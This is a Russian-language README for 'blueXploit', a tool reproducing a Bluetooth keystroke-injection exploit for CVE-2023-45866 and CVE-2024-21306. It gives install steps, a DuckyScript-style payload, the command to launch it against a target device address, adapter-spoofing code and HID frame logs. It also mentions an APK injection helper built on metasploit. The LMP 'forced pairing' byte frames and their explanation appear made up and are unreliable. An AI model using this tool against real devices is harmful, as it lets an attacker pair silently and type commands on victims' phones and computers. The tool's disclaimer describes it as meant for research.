
Эксплойт на основе критических уязвимостей Bluetooth (CVE-2023-45866, CVE-2024-21306)

Атрибуция. Уязвимость и оригинальный эксплойт — работа Марка Ньюлина (hi_my_name_is_keyboard) — я не претендую на их обнаружение. Этот репозиторий — воспроизведение, созданное для понимания и документирования ошибки; поверх него blueXploit добавляет раннер полезных нагрузок в стиле DuckyScript, механизм переподключения/повторных попыток и опциональный помощник для внедрения Android APK. Всё здесь предназначено только для образования и исследований.
Эти критические уязвимости (CVE-2023-45866, CVE-2024-21306) позволяют атакующему внедрять нажатия клавиш и принимать запросы на сопряжение без подтверждения пользователя. Это критически влияет на безопасность множества операционных систем.
Основано на оригинальном эксплойте Марка Ньюлина.
Установка зависимостей
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit включает инструментарий для эксплуатации уязвимостей на устройствах Android, предлагая два основных компонента и дополнительную программу под названием apkpwn_injector, расположенную в папке injector.
.apk-приложения в папке apk_clean.Эти функции обеспечивают эффективный и упрощённый процесс атаки в контролируемых средах или для тестирования на проникновение.

cd injector
python3 apkpwn_injector.py
Команды клавиш, выполняемые blueXploit, загружаются из папки /injector/payloads/ в формате .txt с простым и понятным синтаксисом.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Измените IP-адрес на адрес, где размещён сервер.
Обнаружение и перечисление устройств
bluetoothctl
Сканирование Bluetooth-устройств
scan on
Запуск
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Затем выберите требуемую, предварительно настроенную полезную нагрузку.
Полная демонстрация в этом видео
Эта уязвимость эксплуатируется на низком уровне протокола Bluetooth, главным образом манипулируя профилем HID и протоколом L2CAP, чтобы внедрять нажатия клавиш в устройство жертвы.
Стек Bluetooth включает несколько уровней, таких как протокол управления связью (LMP), интерфейс хост-контроллера (HCI) и L2CAP. Эта атака в основном использует два последних:
HCI: конфигурация адаптера изменяется так, чтобы он представлялся легитимным HID-устройством.
L2CAP: отвечает за мультиплексирование данных между устройствами; L2CAP использует канал 17 (HID Control) и канал 19 (HID Interrupt) для HID-связи, что может быть использовано для отправки последовательностей клавиш.
CVE-2023-45866 — это уязвимость в протоколе управления связью (LMP), эксплуатируемая через атаку «принудительное сопряжение». Вот как это происходит технически:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
В этом кадре данных:
0x01: запрос на сопряжение LMP0x01: запрос аутентификации LMP (PIN)0x00 0x00 0x00 0x00: информация о слабом PIN-коде, обычно 0000Здесь эксплойт использует отсутствие конфигурации и аутентификации для этого пакета, что в итоге возвращает:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
В этом кадре данных:
0x02: запрос на сопряжение LMP ПРИНЯТ0x00 0x00 0x00 0x00: возвращённая повреждённая информация о PIN-кодеЕсли ключ не проверяется должным образом, соединение устанавливается, но без реального сопряжения, поэтому можно отправить LMP-пакет принудительного сопряжения так:
LMP Forced Pairing: 0x03 0x01 0x0000
Затем аутентификация может быть принудительно выполнена с использованием ранее раскрытых ключей (например, «0000»), и устанавливается зашифрованный канал связи, связывающий устройства без надлежащей проверки.
Это создаёт сопряжение без ведома пользователя и даже без какого-либо окна сопряжения или уведомления.
Недостаток этой CVE в том, что некоторые устройства не проверяют должным образом запросы аутентификации LMP или в итоге повторно используют старые ключи.
Поэтому, как только сопряжение с устройством установлено — бам! — остальное просто: в blueXploit.py адаптер и устройство действуют и подделывают идентификационные данные. В этом случае выполняются такие команды:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
Код blueXploit
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
Объяснение байтового кадра HID:
:a10100001e000000000000
a1: указывает тип HID-отчёта01: указывает использование интерфейса HID для входящих данных00: нажатие или отпускание клавиши00 1e 00 00 00 00: шестнадцатеричное значение, где 1e соответствует букве aЗатем принимается ACK для подтверждения успешной передачи данных.
Предупреждение: Этот материал и описанные в данном репозитории техники предназначены строго для образовательных и исследовательских целей. Инструменты проникновения и эксплуатации должны использоваться только на системах, на которые у вас есть явное разрешение на проверку. Несанкционированное использование этих техник на системах, которые вам не принадлежат, запрещено и незаконно во многих юрисдикциях. Любой ущерб или негативные последствия, вызванные неправильным использованием этого содержимого, являются исключительной ответственностью пользователя.
Пользователям рекомендуется работать в контролируемых средах, таких как тестовые лаборатории, и соблюдать все местные законы и нормативные акты, касающиеся информационной безопасности и этичного взлома. удачного взлома :D